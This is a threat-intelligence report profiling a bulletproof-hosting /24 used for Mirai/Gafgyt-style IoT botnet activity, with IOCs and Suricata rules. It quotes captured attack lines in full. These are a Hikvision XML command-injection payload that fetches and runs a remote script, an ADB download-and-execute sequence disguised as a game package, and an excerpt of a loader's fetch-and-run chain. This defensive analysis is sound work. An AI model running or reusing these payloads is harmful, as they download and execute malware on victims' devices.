StormCloud Bulletproof Hosting — infrastructure profile

Executive summary

A single /24 has been running as self-contained, multi-tenant IoT botnet infrastructure against our entire fleet for over a month: the same handful of IP addresses scan for vulnerable devices, deliver the exploit, host the payload, and receive the C2 beacon, all within one block. It sits behind a bulletproof-hosting ASN that was registered just nine days before we saw it turn hostile.

This is not one campaign. It's shared criminal hosting. We observed at least four distinct build/naming conventions cycling through the same single IP (94.154.43.123) at different points in July: a randomized-token payload-directory loader (twice, 12 days apart, near-identical builder output both times), raw architecture-named binaries dropped at web root, a "boatnet.*"-branded release, and operator self-testing artifacts (testbot.sh). VirusTotal classifies the samples we submitted as Mirai/Gafgyt-lineage trojans and, for one build, explicitly as a DDoS agent — consistent with the operator's public marketing and with prior public research (Hunt.io, April 2026) tying the same corporate entity's infrastructure to the xlabs_v1 DDoS-for-hire IoT botnet on a sibling ASN.

Threat actor profile

The corporate entity behind this ASN, Storm Industries LLC (trading as "StormCloud"), is not a new discovery on its own: its infrastructure has prior public attribution. What's new here is identifying this specific block (94.154.43.0/24 / AS219502) as the operator's current active infrastructure, and confirming it directly against our own fleet telemetry.

Infrastructure analysis

The hosting provider

One data point we could not reconcile: a live spur.us lookup on the currently-active hosting IP (94.154.43.123) attributes it to a different ASN, 48678 ("Pentech Bilisim Teknolojileri," Turkey), while RIPE RDAP and BGP routing tables both show AS219502. This could reflect a recent transit/reseller change, a multihomed announcement, or simply a stale record in one of the two sources — we're flagging the discrepancy rather than resolving it. spur.us does independently flag the IP's traffic with an OPEN_PROXY_USER client-behavior tag, consistent with abuse-heavy usage regardless of which ASN record is current.

Self-contained infrastructure: scanner, host, and C2 in one block

Correlating our sample-capture records against the honeypot session that triggered each capture shows the same IP inside 94.154.43.0/24 acting as both the exploiting/scanning source and the payload host in the large majority of cases (e.g. 94.154.43.10 both scanned and served from 94.154.43.10; 94.154.43.123 both scanned and served from 94.154.43.123). Live sandbox detonation of samples pulled from this block confirms the pattern extends to command-and-control: of 37 distinct C2 endpoints observed across detonations, the large majority beacon back into the same 94.154.43.0/24 block on non-standard high ports (18129, 6621, 8060, 9111, 60195, 1337, and others) rather than to separate, dedicated C2 infrastructure. A minority of builds beacon externally (195.96.135.248:8529, seen 6 times; 65.222.202.53:80, seen 3 times) — see Malware analysis.

Rotating hosting IPs (34-day window)

Activity is confined to this /24 specifically; no payload activity was found in the neighboring 94.154.40.0/22, 94.154.44.0/23, or 94.154.46.0/24 ranges that also fall under the same parent RIPE allocation.

Malware analysis

We submitted four representative samples, spanning both loader scripts and compiled binaries, to VirusTotal for fresh analysis:

The two loader scripts, captured 12 days apart under different random path tokens, are near-byte-identical templates — same architecture-detection case statement, same wget/curl/tftp fallback chain, same obfuscated cache-busting query token built from a chain of randomly-named shell variables, and the same spoofed User-Agent on every fetch:

Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Valve Steam Gamepad/1708467439 (SteamOS)

This is generated output from a builder tool, not hand-written per session, a strong fingerprint for correlating future captures back to this operator even after the hosting IP rotates again.

File type diversity

The 406 captured samples span 20 distinct architecture/format combinations — ARM (32- and 64-bit), Intel x86/x86-64, MIPS (LE and BE), PowerPC, SPARC, Renesas SH, ARC, RISC-V, and more — the standard Mirai-derivative "compile for everything, let the loader pick" approach.

Sandbox detonation

394 detonation attempts were run against samples from this block across 8 architectures our sandbox supports:

Where our sandbox could identify and boot the target architecture, execution succeeded roughly 95% of the time: these are functioning, not broken, builds. (95 additional attempts against unrecognized/unsupported architecture formats are excluded from the table; they never booted.)

Observed TTPs — MITRE ATT&CK

Activity timeline

Exploit payloads

Hikvision IP camera — Apache RCE via XML command injection

<?xml version="1.0" encoding="UTF-8"?><language>$(cd /tmp;/bin/busybox wget -q http://94.154.43.87/wget.sh -O .ww;sh .ww multi.hikvision)</language>

Identical across all four sensors it hit within a 9-minute window on 2026-06-28, with a fixed multi.hikvision argument identifying the exploited device class to the fetched script.

Exposed Android Debug Bridge (ADB) — masquerading payload

toybox wget http://94.154.43.48/rebirth.arm7 -O /data/local/tmp/com.supercell.clashroyal
chmod 777 /data/local/tmp/com.supercell.clashroyal
./data/local/tmp/com.supercell.clashroyal adb

The same three-line sequence (tried with both toybox and busybox as fallbacks) was captured identically across every ADB-vector hit, disguising the payload as a popular mobile game's package name.

Unauthenticated Hadoop YARN ResourceManager RCE — dominant vector by volume

This is the same misconfiguration class covered in depth in our MICROC2 report, and the single largest vector observed here by event count (45,095 of 58,365 total). We did not re-derive per-event detail for this report; see MICROC2 for the full exploitation mechanics.

Loader script — architecture detection and fetch chain

#!/bin/sh
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /
N=$(head -c 32 /dev/urandom 2>/dev/null | tr -dc 'a-z' | head -c 6)
ARCH=$(uname -m 2>/dev/null)
case "$ARCH" in
    x86_64|amd64)  ARCH="x86_64" ;;
    aarch64|arm64) ARCH="aarch64" ;;
    armv7*|armv7l) ARCH="armv7l" ;;
    # ... full case covers armv4-7, mips/mipsel/mips64, ppc, sh4, i486-i686, m68k, s390x, riscv64
esac

fetch() {
    # tries wget, then curl, then tftp, in that order
    wget -q -U "$UA" -O "$O" "$U?t=$T" 2>/dev/null && return 0
    curl -s -A "$UA" -o "$O" "$U?t=$T" 2>/dev/null && return 0
    tftp -g -r "$F" "$H" 2>/dev/null && mv "$F" "$O" 2>/dev/null && return 0
}

try_run() {
    fetch "$URL" "$N" || return 1
    chmod +x "$N" 2>/dev/null
    ./"$N" /dev/null 2>&1 &
    sleep 1
    kill -0 $PID 2>/dev/null && { rm -f "$N" 2>/dev/null; exit 0; }  # success: cover tracks
    rm -f "$N" 2>/dev/null; return 1
}

# PRIMARY selected by uname -m match; on failure, walks the full FALLBACK
# list of every other architecture's binary until one launches successfully.

No sandbox/VM detection, no persistence installation, no log tampering — this loader's only "evasion" is deleting the dropped binary once it confirms the process is still alive one second after launch. Compare this to MICROC2's loader, which included all of the above; this is a simpler, more disposable tool, consistent with high-volume, low-effort deployment rather than a single high-value operation.

Indicators of compromise

Network infrastructure

Hosting IPs (22, see full table with dates in Infrastructure analysis)

94.154.43.5, 94.154.43.10, 94.154.43.37, 94.154.43.46, 94.154.43.51, 94.154.43.61, 94.154.43.68, 94.154.43.70, 94.154.43.77, 94.154.43.87, 94.154.43.88, 94.154.43.91, 94.154.43.92, 94.154.43.95, 94.154.43.96, 94.154.43.115, 94.154.43.116, 94.154.43.123, 94.154.43.148, 94.154.43.164, 94.154.43.191, 94.154.43.192

File IOCs

402 further samples were captured from this block; SHA256 list available on request via the fleet's investigation tooling.

Mitigations and detection

Detection signatures

# Suricata/Snort — loader fetch from the StormCloud block
alert http any any -> any any (msg:"StormCloud bulletproof-net loader fetch"; \
  content:"94.154.43."; http_header; \
  content:"payload/"; http_uri; \
  flow:established,to_server; sid:9920101; rev:1;)

# Suricata — fixed beacon User-Agent
alert http $HOME_NET any -> any any (msg:"StormCloud loader beacon UA"; \
  content:"Valve Steam Gamepad/1708467439 (SteamOS)"; http_user_agent; \
  flow:established,to_server; sid:9920102; rev:1;)

# Suricata — Hikvision XML command injection referencing this block
alert http any any -> $HOME_NET any (msg:"Hikvision XML RCE - StormCloud payload"; \
  content:"$("; http_client_body; \
  content:"94.154.43."; http_client_body; \
  flow:established,to_server; sid:9920103; rev:1;)

# Suricata — ADB masquerade payload
alert tcp any any -> $HOME_NET 5555 (msg:"ADB StormCloud payload - fake package name"; \
  content:"com.supercell.clashroyal"; \
  flow:established,to_server; sid:9920104; rev:1;)

# Suricata — outbound to the full /24
alert ip $HOME_NET any -> 94.154.43.0/24 any (msg:"Outbound to StormCloud bulletproof net"; \
  sid:9920105; rev:1;)

Collection methodology

All data in this report was collected organically by a distributed SSH/Telnet honeypot fleet deployed across multiple cloud providers and geographic regions. Fleet nodes also run alternate-protocol lure daemons that capture exploitation attempts against commonly-targeted services beyond SSH/Telnet, including the Hadoop YARN, ADB, SOAP/UPnP, and Apache/IP-camera vectors covered in this report.

Payloads were fetched by the fleet's automated pipeline at first capture. Representative samples were detonated in an isolated sandbox environment with network egress routed through a residential-style VPN for realistic network conditions; no interaction with victim networks occurred beyond passive observation of traffic the samples themselves generated. VirusTotal file, ASN, and routing lookups were performed via the fleet's own investigation tooling and live RDAP/BGP queries as part of this investigation.